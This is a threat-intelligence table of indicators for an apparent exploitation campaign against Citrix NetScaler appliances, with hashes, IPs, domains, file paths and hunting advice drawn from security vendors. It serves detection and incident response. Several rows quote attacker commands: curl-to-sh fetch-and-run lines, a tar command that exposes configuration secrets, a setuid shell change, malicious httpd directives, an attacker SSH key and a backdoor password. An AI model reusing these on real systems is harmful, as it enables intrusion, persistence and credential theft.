| SHA-256 | a3e26053975daa0a12a4848ce9533e5c439617cd7f69851347be2061999b4cd4 | SOCRadar [59] | NetScaler C2: exploit.py - the log-injection engine injecting two payload variants (HTTP agent bootstrap and DNS OOB fallback) across 11 unauthenticated endpoints | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | a9142989d912098856e58f2c74c2266e39150d50bc59722f915dade1ddfddf4a | SOCRadar [59] | NetScaler C2: c2_server.py - dual-protocol listener (HTTP 8899 for C2 polling/results, DNS 53 for OOB beacons) | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | f9e06d412dee96d98db4d4588f0012af859cc11caaae3e130697f282447cf07f | SOCRadar [59] | NetScaler C2: pollctl.py - operator interface (per-device shell, command broadcasting, session history) | From SOCRadar's teardown of the recovered toolkit. | Public blog, no TLP marking |
| SHA-256 | 6c8929c6bc1ad59c4742d2671b797a08e36b8f3ec6ab479afc08bec62a3c2657 | watchTowr Intel [44]; watchTowr [76] | Sliver C2 implant ns_helper captured by watchTowr (44,523,749 bytes), staged to /var/vpn/ns_helper (and /nsconfig/.ns_helper/ns_helper); 60-second beacon with a hardcoded Chrome-on-Linux User-Agent to the operator IP on ports 80/443 | watchTowr honeypot capture; the operator stages and sinkholes binaries, so hashes rotate. Distinct from the earlier pylrk.cc FreeBSD Sliver implant (0188b0eb...). | Public blog and GitHub repository, no TLP marking |
| SHA-256 | 0e9e1a1644c0f445fe20735f6ab56e0ba61c9e51d76c34e14e729a9db9d78bf1 | watchTowr Intel [44]; watchTowr [76]; LevelBlue SpiderLabs (THOR team) [63] | Perl dropper update_c08937.pl captured by watchTowr (10,071 bytes): mints the gw_health superuser, decodes the PHP webshell, patches httpd.conf and reloads. A LevelBlue/Arctic Wolf sample with the same filename (974b6978...) is a different copy - hashes of this stager differ between captures | watchTowr honeypot capture; match on filename plus behaviour, not only on the hash. | Public blog and GitHub repository, no TLP marking |
| SHA-256 | c0ebf54be0aeddd5b953df8a60bff7fc88d571e948405c24f6b5d6c1aa17558a | watchTowr Intel [44]; watchTowr [76] | PHP webshell (4,372 bytes) embedded in the Perl dropper and written to /var/netscaler/logon/LogonPoint/.local_journal: password-checked against a stored SHA-256 hash, session flag on match, command execution, upload and download. Renders a login page without a valid session. watchTowr published the password in its post; it is not reproduced here | watchTowr honeypot capture; the shell is stateful and fails on default NetScaler configs because nsppe strips the Set-Cookie header the SESSID needs - absence of the session cookie does not mean the file is absent. | Public blog and GitHub repository, no TLP marking |
| SHA-256 | 6caf647ec5a440739b7ef073ccf30463ace79a17c9195eb528ea826c4c0000c4 | watchTowr [76] | SSH backdoor dropper /var/1 captured by watchTowr (164 bytes): stages the trojanized Dropbear binary | watchTowr honeypot capture; atomic indicators are transient. | Public GitHub repository, no TLP marking |
| SHA-256 | 530fb1522dc0a023bc3412d576c52a553933d302ed445475501acf8e7cfea46b | watchTowr Intel [44]; watchTowr [76] | Trojanized Dropbear SSH 2025.88 backdoor binary (/var/walk or /usr/bin/walk, 1,283,160 bytes) captured by watchTowr: statically linked for FreeBSD, no library dependencies, runs an SSH server on tcp/37512, hardcoded password support1 accepted on any account plus an embedded RSA-2048 key checked before authorized_keys; makes no changes to the SSH configuration | watchTowr honeypot capture; published for hunting, not for reuse. | Public blog and GitHub repository, no TLP marking |
| SHA-256 | 3754689fafacd2ff1c50781de2027afb1a736f9dadf48767afe560fc0f10a6f0 | Binary Defense ARC Labs [60] | Platypus fork Windows agent, unpacked, PE32+ x86-64 Go, 19,414,528 bytes (Binary Defense 12 Oct; fork-only modules internal/agent/rootesc - active privilege escalation via sudo/sudo_gtfo/rootexec/takeover - and internal/agent/selfpersist - covert persistence with watchdog, timestomping and masquerade names such as "System Health Monitor" and healthd). Sandbox run: executed cleanly, Microsoft Defender did not block it, 1 of 65 on VirusTotal at analysis time, 248 TLS + 193 HTTP enrollment attempts to the sinkhole, nothing past enrollment fired | Binary Defense malware-lab hash; the fork is verified against 1,689 public Platypus commits (both modules absent upstream). A rebuild changes the hash - hunt the behavior, not only the hash. | Public blog, no TLP marking |
| JARM | 40d40d40d00000000043d43d00043dabadbb43f9614a00c843a4ecd074ab81 | Binary Defense ARC Labs [60] | TLS server fingerprint (JARM) of the Platypus C2 server 195.123.233.245 (Binary Defense, 12 Oct) - pivot for TLS sessions presenting it across the five-domain cluster | Binary Defense first-hand observation. JARM fingerprints the server stack, not the operator; other Platypus deployments could share it. | Public blog, no TLP marking |
| TLS cert SHA-1 | 43311300529d031058895820fb79fb15afa171bb | Binary Defense ARC Labs [60] | Active platypus-ingress certificate thumbprint (Binary Defense 12 Oct), valid 2026-09-28 to 2026-10-28, presented on entretiensol.com and the other four cluster domains | Binary Defense first-hand observation; the actor rotates default ingress certificates, so thumbprints change - hunt the trio pattern together with the JARM. | Public blog, no TLP marking |
| TLS cert SHA-1 | e75699b342f4d1650ac2958b082d9f71beb73f93 | Binary Defense ARC Labs [60] | Prior Platypus ingress certificate thumbprint, seen 2026-09-05 (Binary Defense), same actor rotation pattern | As for the active thumbprint: actor-rotated, historical. | Public blog, no TLP marking |
| TLS cert SHA-1 | a8ff7a3154533f5b7af3a7be455e9ac6b9923bff | Binary Defense ARC Labs [60] | Earlier Platypus ingress certificate thumbprint, seen 2026-09-02 (Binary Defense), same rotation pattern | As for the active thumbprint: actor-rotated, historical. | Public blog, no TLP marking |
| Domain | white-guard.pro | Binary Defense ARC Labs [60]; TENEX [55] | Platypus ingress on the same IP as entretiensol.com (195.123.233.245), per Binary Defense (12 Oct): registered 4 June 2026 through the Moscow-based registrar REG.RU with REG.RU nameservers - eleven weeks before the campaign - and served both the active and the 5 September ingress certificates. Binary Defense reads the setup as a two-tier design: disposable aged .com domains for victim-facing work, the REG.RU domain as the protected tier that survives takedowns. Cluster25 telemetry previously tied the same server to a Havoc C2 | Binary Defense first-hand infrastructure analysis. Already listed on this site from TENEX as a Platypus C2 node - this entry adds the registrar/tier analysis and the Havoc history. | Public blog, no TLP marking |
| URL | https://entretiensol.com/api/v1/agents/enroll | Binary Defense ARC Labs [60] | Platypus agent mTLS enrollment endpoint on the C2 (Binary Defense; the agent registers via /p/<bid>?h=<hex_hostname>&u=<hex_username>&src=agent and polls /c/<bid> every 20 seconds, returning results via /r/<bid>?d=<hex>) | Binary Defense first-hand observation; matches the Platypus project protocol. Legitimate Platypus deployments use the same paths - pivot on the C2 IP and certificates, not the path alone. | Public blog, no TLP marking |
| File name | .ns_09343.pl / ns_827664.pl (Platypus fork agents), masquerade identities "System Health Monitor", healthd | Binary Defense ARC Labs [60] | Masquerade filenames of the Platypus fork agents recovered from two appliances (Binary Defense 12 Oct): ELF binaries with .pl extensions, installed in /var/tmp/ (first appliance) and /netscaler.local/ (second), with data directories /var/tmp/.ns_data and /var/core/.ns-cache/. The selfpersist module carries a masquerade identity table including "System Health Monitor", healthd, system-health, health-monitor and node-health for processes and services | Binary Defense first-hand IR. Any .pl file on a NetScaler that is actually an ELF binary is a compromise signal regardless of name; the fork modules rootesc/selfpersist have zero hits in 1,689 public Platypus commits. | Public blog, no TLP marking |
| Log pattern | admautoregd log-processing chain: grep(pitboss.*PPE.*unexpectedly died) -> sed -> awk -> find /var/core -name <TOKEN>* | tail -1 | SOCRadar [59] | Per SOCRadar (7 Oct): the background daemon that processes ns.log for CVE-2026-88771 is admautoregd; its 24-hour cycle or an appliance reboot triggers execution of injected lines. Payload constraints from the exploit code: no parentheses, spaces replaced with ${IFS}, no ? or & characters, command smaller than 93 bytes (128-byte username field) | Derived from SOCRadar's analysis of the recovered exploit code. Complements the ns_monuploadd_err.pl path described by watchTowr, CERT-EU and Martin's Blog. | Public blog, no TLP marking |
| HA sync note | HA sync propagates /nsconfig/httpd.conf, rc.netscaler, sshd_config and /nsconfig/ssh/ to the secondary within ~1 minute - but NOT /var/netscaler/gui/, /netscaler/ns_gui/ or /var/vpn/ | Binary Defense ARC Labs [60] | Binary Defense (12 Oct): httpd-config persistence and SSH-key persistence appear on both nodes within a minute, so removing them from one node does not clear the pair; webshells in the web directories are node-local and must be checked on each node individually. A diff of the synced paths between nodes surfaces one-sided changes, and the node that was primary during the exploitation window may hold the access-log evidence on the current secondary | First-hand IR guidance from Binary Defense; verify against your own HA configuration version. | Public blog, no TLP marking |
| Domain | ctrxsrv.com | watchTowr Intel [44]; watchTowr [76] | Purpose-built NetScaler-lookalike out-of-band callback domain seen by watchTowr among the OOB probes (wildcard subdomains) | watchTowr calls it purpose-built, unlike the shared OOB services. Block the domain, not any resolved IP. | Public blog and GitHub repository, no TLP marking |
| Domain | ddns.1433.eu.org | watchTowr [76] | Out-of-band callback domain family *.ddns.1433.eu.org seen by watchTowr; match on appliance egress DNS | Hunt on appliance egress only; 1433.eu.org is a public free-subdomain service, so do not block the apex on its own - watchTowr gives the wildcard form. | Public GitHub repository, no TLP marking |
| Domain | staticship.org | watchTowr [76] | Out-of-band callback domain family *.css.staticship.org seen by watchTowr; match on appliance egress DNS | watchTowr gives the wildcard form *.css.staticship.org; hunt on appliance egress only. | Public GitHub repository, no TLP marking |
| Domain | smartdnslog.com | watchTowr [76] | Out-of-band callback endpoint oob.smartdnslog.com/cb/<id> seen by watchTowr | smartdnslog is a DNS-capture service, dual-use like dnshook.site: legitimate in other contexts. Hunt its use from NetScaler hosts and correlate; do not blanket-block without context. | Public GitHub repository, no TLP marking |
| Domain | v5v.in | Poppelgaard [56] | Payload host of the 8 October overnight wave of the same login injection, per a community report carried in Poppelgaard checker v1.16: https://v5v.in/r.sh?k=<key>|sh | Single community report relayed via the checker; no vendor or CERT confirmation. Hunt the full URL, not the apex on its own. | Public GitHub repository, no TLP marking |
| IPv4 | 72.5.65.111 | Poppelgaard [56] | Source of an overnight wave of the same CVE-2026-88771 login injection on 8 October, per a community report (World of EUC Slack) carried in Poppelgaard checker v1.16; the payload fetched https://v5v.in/r.sh?k=<key>|sh | Single community report relayed via the checker; no vendor or CERT has confirmed it. A hunting lead, not proof of targeting. | Public GitHub repository, no TLP marking |
| SHA-256 | be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447 | Poppelgaard [56] | SLAPSHOT/WHIPSHOT kit file (four more files of the kit shared by Gotham Technology Group on 6 Oct via checker v1.15, from the analysis of its installer b9b0a438...) | Community-sourced compilation via Gotham; the checker does not name which file each hash is, and no vendor report confirms them individually. Match on content, not name. | Public GitHub repository, no TLP marking |
| SHA-256 | dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e | Poppelgaard [56] | SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...) | Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name. | Public GitHub repository, no TLP marking |
| SHA-256 | 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7 | Poppelgaard [56] | SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...) | Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name. | Public GitHub repository, no TLP marking |
| SHA-256 | cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd | Poppelgaard [56] | SLAPSHOT/WHIPSHOT kit file (Gotham Technology Group, 6 Oct, via checker v1.15; kit installer b9b0a438...) | Community-sourced compilation via Gotham; the checker does not name which file each hash is. Match on content, not name. | Public GitHub repository, no TLP marking |
| Domain | pinggy.net | Poppelgaard [56] | SSH tunnel service that fronted two dropper sources in the campaign, per Huntback.io (7 Oct, via checker v1.15); the checker also lists free.pinggy.net as an exploit-string host | pinggy.net is a legitimate public SSH-tunnel service used by developers every day; only its abuse here makes it an indicator. Hunt connections from NetScaler hosts to it and correlate; do not block the service wholesale. | Public GitHub repository, no TLP marking |
| Domain | serveousercontent.com | Poppelgaard [56] | Second SSH tunnel service fronting campaign droppers, per Huntback.io (7 Oct, via checker v1.15) | serveousercontent.com is the user-content domain of the legitimate serveo tunnel service; dual-use like webhook.site. Hunt its use from NetScaler hosts and correlate; do not blanket-block without context. | Public GitHub repository, no TLP marking |
| File path | /var/vpn/ns_helper, /nsconfig/.ns_helper/ns_helper | watchTowr Intel [44]; watchTowr [76]; Poppelgaard [56] | Drop paths of the watchTowr-captured Sliver implant ns_helper, staged by fetch from the operator staging URL (also hunted by the checker as compromise since v1.15) | watchTowr honeypot capture. A missing file proves nothing; /var/vpn is web-adjacent, so also check for requests to it. | Public blog and GitHub repository, no TLP marking |
| File path | /var/1, /var/walk, /usr/bin/walk | watchTowr [76] | SSH-backdoor dropper (/var/1) and trojanized Dropbear binary (/var/walk, /usr/bin/walk) per watchTowr; the checker-style hunt also greps crontab for walk | watchTowr honeypot capture; a missing file does not rule out earlier execution or cleanup. | Public GitHub repository, no TLP marking |
| File path | /tmp/sessions.log.d | watchTowr [76] | Directory artifact listed in watchTowr's hunting commands for the SSH-backdoor activity | watchTowr honeypot capture; hunt with ls -lahd /tmp/sessions.log.d and inspect its contents. /tmp clears on reboot. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.sec.txt, /var/tmp/.cred.txt | watchTowr [76] | Hidden staging files named in watchTowr's hunting commands alongside the proof-of-execution markers | watchTowr honeypot capture; a hit means data was staged - preserve and inspect securely. A missing file proves nothing. | Public GitHub repository, no TLP marking |
| File name | x.php, health.php, .x.php (sprayed webshells), pwn.txt, p.txt (markers) | watchTowr Intel [44]; watchTowr [76] | Smash-and-grab payloads watchTowr captured: unauthenticated PHP webshells sprayed across 14 directories and proof-of-execution markers in web-accessible locations | watchTowr honeypot capture; names are transient. Any PHP or marker file in the web folders is a compromise signal regardless of name. | Public blog and GitHub repository, no TLP marking |
| File path | /var/netscaler/logon/LogonPoint/logon.js, /var/netscaler/logon/LogonPoint/ns0e82mz.txt | watchTowr [76] | PoC proof-of-execution markers (logon.js) and web-served id output (ns0e82mz.txt) from the watchTowr repository | watchTowr honeypot capture; filenames may rotate. Any id-output file in a web-served path is a compromise signal. | Public GitHub repository, no TLP marking |
| SSH key | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIByuCHWk9qsqn0xD6eO4wSOwiF8b8m6Gb+s6+nue13s3 lo@vps (fingerprint SHA256:hGLHNG47ISWLin1Ik3o2KzgPLphQ3mjkGdp6DSeAiLo) | watchTowr Intel [44]; watchTowr [76] | Attacker key sprayed by the smash-and-grab operator into /root/.ssh, /nsconfig/ssh and /nsconfig/.ssh, per watchTowr | A hit in any authorized_keys means attacker access: remove the key, rotate all credentials and treat the host as compromised. Also check the older saved configs ns.conf.0/.1 for the key. | Public blog and GitHub repository, no TLP marking |
| Pattern | C2 URI pattern: ^/(?:bundles|scripts|script|javascripts|js)(?:/(?:bundles|scripts|script|javascripts|js)){0,5}/(?:route|app|app\.min|array)\.php(?:\?[A-Za-z]=[A-Za-z0-9]+)?$ | watchTowr [76] | URI shape of the watchTowr-captured Sliver ns_helper implant beacons (segments bundles/scripts/script/javascripts/js nested 1-6 deep, filename route/app/app.min/array, .php, optional single-letter query); observed endpoints include /scripts/scripts/scripts/app.php?u=... and /script/script/javascripts/scripts/app.min.php?e=... on port 80 to the operator IP | watchTowr-published regex for its captured implant; other builds may use different shapes. Hunt in egress HTTP logs from NetScaler hosts. | Public GitHub repository, no TLP marking |
| Log pattern | Shell script parked in a tagged User-Agent (<tag>:<script>) in the HTTP access log, later run by an injection carrying grep <tag>: /var/log/htt* | sed ... | sh | Poppelgaard [56] | Log-reflection technique documented by Lupovis (7 Oct, via checker v1.15): the payload never appears in the login field, only the grep-and-run line, so login-field filters miss it. A second actor base64-encodes the script (<tag>:<base64>) | A tagged User-Agent alone means staging; the technique is proven only if the shell audit log shows the grep line running. The checker decodes the base64 variant. | Public GitHub repository, no TLP marking |
| File path | /tmp/.nsagent | Poppelgaard [56] | Polling agent of the SOCRadar "NetScaler C2" framework (per checker v1.15): the automated tool installs it after injecting curl${IFS}-sk${IFS}45.143.130.195:8899/s/<id>|sh; HTTP and DNS command channels; a running .nsagent process counts equally | Relayed via the checker; reported as compromise there. Preserve and investigate; a missing file does not rule out earlier execution. | Public GitHub repository, no TLP marking |
| IPv4 | 149.104.78.141 | GreyNoise blog [77]; GreyNoise Visualizer [79]; eSentire TRU [69] | Exploitation source, Sep 24 (3 sessions 07:32:19-07:32:20 UTC). GreyNoise Visualizer on Sep 29: AS154177 LIGHT NODE LIMITED, Japan; not observed mass scanning in the past day. | Observed in GreyNoise sensor data; not a universal indicator for every victim. Beaumont reports attacker IPs vary per victim. eSentire also lists it as an exploitation source. | TLP:CLEAR |
| File path | /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver | GreyNoise blog [77]; Unit 42 (Palo Alto Networks) [123]; Sygnia [54] | Webshell path on disk | Observed in GreyNoise sensor data; not a universal indicator for every victim. Beaumont reports webshell names are unique per victim. | TLP:CLEAR |
| URL alias | receiver.min.css | GreyNoise blog [77] | Webshell alias | Observed in GreyNoise sensor data; not a universal indicator for every victim. | TLP:CLEAR |
| AliasMatch regex | receiver\.min\.[0-9a-f]+\.css | GreyNoise blog [77]; CERT-EU [39] | Apache config (httpd.conf) AliasMatch | Observed in GreyNoise sensor data; not a universal indicator for every victim. Pattern as published; also check httpd.conf integrity generally. | TLP:CLEAR |
| SHA-256 | 6f5a2a452a7901323abd21879c6cecccb47c06aeeaccb1b467212f3b11e4b1e7 | GreyNoise blog [77] | Webshell hash | Observed in GreyNoise sensor data; not a universal indicator for every victim. Per-victim webshells may differ. | TLP:CLEAR |
| GreyNoise tag | Citrix NetScaler CVE-2026-88771 Login Command Injection RCE Attempt | GreyNoise tag [80]; GreyNoise blog [77] | Sensor detection tag, created Sep 27. GreyNoise Visualizer on Sep 29: 76 unique IPs tagged between Sep 19 and Sep 29, all classified malicious. All are listed in this table; two are Cloudflare WARP exits, marked as such. | Classifies traffic seen by GreyNoise and community sensors only. Most tagged IPs also carry crawler and CitrixBleed 2 tags, so many look like opportunistic scanning. | TLP:CLEAR |
| SHA-256 | ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1 | IFIN [81]; Rapid7 ETR [49] | .ctxs.receiver webshell sample (237-byte PHP file) first posted by a Reddit user and relayed by IFIN; Rapid7's MDR confirms it as the webshell placed in one of the two organisations it reports compromised via CVE-2026-88771, observed 24 September | Vendor-confirmed as an IR sample from one victim. The hardcoded token likely differs per victim, so the hash will too - match on file content, not hash. | Public, no restriction |
| IPv4 | 149.104.78.208 | Rapid7 ETR [49]; Poppelgaard [56] | Exploitation source of the earliest attempt Rapid7's MDR observed, 20 Sep 2026 14:28:43 UTC (only two attempts that day; not yet widespread). The injected username ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig: archives /flash/nsconfig - ns.conf with admin and LDAP/RADIUS/TACACS bind passwords, the ssl/ directory with certificates and private keys, SSH host keys and license files - into the Gateway-served /var/netscaler/gui/vpn/ folder, so any unauthenticated GET https://<gateway>/vpn/c returns the whole archive. Rapid7 identifies two organisations compromised via CVE-2026-88771: this command injection, and a .ctxs.receiver webshell (hash ed082f74...) on 24 September. Carried in the Poppelgaard checker since v1.11 (which credits Rapid7; first seen 20 Sep, tar of /flash/nsconfig to /vpn/c). GreyNoise-tagged address space (AS154177 LIGHT NODE LIMITED, Japan per the 149.104.78.141 neighbourhood). VirusTotal: 1 of 92 engines (6 Oct). VT report: https://www.virustotal.com/gui/ip-address/149.104.78.208 | Vendor IR observation, first-hand from Rapid7 MDR. Attacker IPs can be unique to one victim; absence elsewhere is not proof of a clean host. A /vpn/c request returning HTTP 200 in your logs is a config/key theft signal - rotate everything. | Public vendor blog |
| IPv4 | 104.248.244.66 | Truesec [50]; IFIN [81]; Unit 42 (Palo Alto Networks) [123] | Potential C2 IP observed by Truesec | IR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public page, no TLP marking |
| IPv4 | 139.180.152.138 | Truesec [50]; IFIN [81]; eSentire TRU [69]; Unit 42 (Palo Alto Networks) [123] | Potential C2 IP observed by Truesec; webshell delivery per eSentire | IR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public page, no TLP marking |
| IPv4 | 77.83.199.39 | Truesec [50]; IFIN [81]; eSentire TRU [69]; Unit 42 (Palo Alto Networks) [123]; Sygnia [54] | Potential C2 IP observed by Truesec; webshell delivery per eSentire | IR-vendor observation. Beaumont reports attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public page, no TLP marking |
| IPv4 | 78.135.96.136 | IFIN [81] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. | Public, no restriction |
| IPv4 | 149.28.29.221 | IFIN [81] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. | Public, no restriction |
| IPv4 | 80.240.22.229 | IFIN [81] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. | Public, no restriction |
| IPv4 | 89.36.231.206 | IFIN [81] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. | Public, no restriction |
| IPv4 | 91.195.240.123 | IFIN [81] | Associated exploit source (IFIN compiled observables) | Compiled by IFIN from shared reports; the original reporter of each value is not stated. WHOIS: SEDO-NET, Sedo Domain Parking - a shared parking IP used by many unrelated parked domains. Expect heavy false positives; do not block on it alone. | Public, no restriction |
| IPv4 | 143.198.7.94 | Google GTIG / Mandiant [51] | Scanning and staging infrastructure | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| IPv4 | 157.254.167.12 | Google GTIG / Mandiant [51] | NetScaler exploitation and installation of a basic webshell backdoor | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| HTTP header | HTTP_NSC_LDAP | Google GTIG / Mandiant [51] | Inbound command execution header used by nsginstaller.deb | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| HTTP header | HTTP_NSC_CLIENTTYPE | Google GTIG / Mandiant [51] | Inbound command execution header used by nsgclient.sig | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| HTTP header | HTTP_X_UX / HTTP_X_UX_[0-9]+ | Google GTIG / Mandiant [51] | Chunked base64 transport headers used by WHIPSHOT | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| URI path | /vpn/media/nsgclient.ico / /vpn/media/*.ico | Google GTIG / Mandiant [51] | Masquerading icon request routed to a .sig webshell via AliasMatch | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsginstaller*.deb | Google GTIG / Mandiant [51] | Staging path for malicious PHP webshells | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/nsgclient*.deb | Google GTIG / Mandiant [51] | Staging path for malicious PHP webshells | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| URI path | /vpn/scripts/linux/*.php | Google GTIG / Mandiant [51] | Staging path for malicious PHP webshells | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| File path | /tmp/.uxdport | Google GTIG / Mandiant [51] | SLAPSHOT active port artefact | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| File path | /tmp/.uxdlock | Google GTIG / Mandiant [51] | SLAPSHOT process lock artefact | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| Config directive | AddHandler application/x-httpd-php .deb | Google GTIG / Mandiant [51] | httpd.conf change making .deb files run as PHP (GTIG persistence method A) | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Any AddHandler/AddType mapping a non-PHP extension to PHP indicates compromise, per GTIG. | Public blog, no TLP marking |
| Config directive | AddHandler application/x-httpd-php .sig | Google GTIG / Mandiant [51] | httpd.conf change making .sig files run as PHP (GTIG persistence method B) | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| Config directive | AliasMatch ^/vpn/media/(.+).ico$ /var/netscaler/gui/vpn/scripts/linux/$1.sig | Google GTIG / Mandiant [51] | Routes /vpn/media/*.ico requests to a .sig webshell with the same base name | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| File path | /netscaler/ns_gui/vpn/scripts/linux/ | Google GTIG / Mandiant [51] | Directory where WHIPSHOT was placed | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Legitimate client binaries live here too; look for ASCII text or PHP markers. | Public blog, no TLP marking |
| Filename pattern | nginstaller* | Google GTIG / Mandiant [51] | Installer webshell names seen across intrusions, often followed by a number | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. GTIG says filenames varied between victims. | Public blog, no TLP marking |
| Filename | nsgclient.sig | Google GTIG / Mandiant [51] | .sig webshell in VPN script directories | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| Filename | e6ee7c85.sig | Google GTIG / Mandiant [51] | GTIG example .sig webshell: reads base64 payloads from HTTP_NSC_CLIENTTYPE, runs them via eval() and returns a fake 404. Reached as /vpn/media/e6ee7c85.ico through the AliasMatch above | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Example from one intrusion; GTIG says filenames varied between victims, so absence proves nothing. | Public blog, no TLP marking |
| Log string | pitboss NOT restarting NSPPE | Google GTIG / Mandiant [51] | Watchdog message in /var/log/messages after an NSPPE crash | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. Strongest when it follows a DTLSv1.0 SSL_HANDSHAKE_FAILURE on the same appliance. | Public blog, no TLP marking |
| String | UXD_IDLE_EXIT | Google GTIG / Mandiant [51] | SLAPSHOT idle-exit variable | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| Command | chmod u+s /bin/sh | Google GTIG / Mandiant [51]; GreyNoise blog [77] | Sets setuid on /bin/sh for persistent root; ls -l /bin/sh showing -rwsr-xr-x owned by root means modified | Published by GTIG/Mandiant as a hunting lead. GTIG keeps its full IoC collection for registered GTI users only. | Public blog, no TLP marking |
| IPv4 | 138.199.200.90 | Help Net Security (Sep 29) [125] | Destination for data exfiltrated via log poisoning (Hetzner), seen by Lupovis | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. | Public article, no TLP marking |
| IPv4 | 138.28.234.38 | Lupovis (@LupovisDefence) on X, Sep 28 [86]; Beazley Security advisory (updated Sep 29) [64] | Exploitation with attempted DNS exfiltration (Lupovis) | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. | Public article, no TLP marking |
| IPv4 | 82.167.14.7 | Beazley Security advisory (updated Sep 29) [64]; GreyNoise tag [80]; eSentire TRU [69] | Exploitation check that writes a test marker (Lupovis); exploitation source per eSentire; also tagged by GreyNoise | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. May be a researcher-style check. | Public article, no TLP marking |
| IPv4 | 85.203.46.191 | Beazley Security advisory (updated Sep 29) [64]; GreyNoise tag [80] | Reconnaissance (Lupovis) | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. WHOIS netname Express-Equinix-London; GreyNoise tags it as VPN, so likely a commercial VPN exit shared by many users. | Public article, no TLP marking |
| IPv4 | 154.217.251.226 | Beazley Security advisory (updated Sep 29) [64]; GreyNoise tag [80] | CVE-2026-88772 scanning (Lupovis); also tagged by GreyNoise | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. | Public article, no TLP marking |
| IPv4 | 194.26.29.88 | Corelight [65] | Host of the reverse shell documented by Corelight (WHOIS: Media Land LLC, RU) | Reverse-shell infrastructure; hunt for connections from NetScaler NSIP/SNIP addresses. | Public blog, no TLP marking |
| DNS pattern | *.instances.httpworkbench.com | Help Net Security (Sep 29) [125]; Beazley Security advisory (updated Sep 29) [64] | Outbound lookups from a NetScaler suggest an out-of-band callback (Lupovis hunt advice) | httpworkbench.com is a public HTTP/DNS testing service, also used by researchers. Hunt signal only when the lookup comes from a NetScaler; do not block the apex. | Public article, no TLP marking |
| HTTP request pattern | POST /nf/auth/doAuthentication.do with body containing "pitboss PPE unexpectedly died NSPPE" | Help Net Security (Sep 29) [125] | Log-poisoning exploitation attempt (Lupovis hunt advice) | Lupovis honeypot observation (its own post on X, plus press and Beazley). Mostly opportunistic activity after the public PoC. | Public article, no TLP marking |
| URI path | /nf/auth/doAuthentication.do | Defused (@DefusedCyber) on X, Sep 29 [85]; Help Net Security (Sep 29) [125] | CVE-2026-88771 exploitation attempts seen on Defused decoys (any logged field works) | Hunting lead from Defused decoys, not an IoC. These are legitimate NetScaler endpoints; flag requests only when a logged field carries shell metacharacters or a payload. | Public post, no TLP marking |
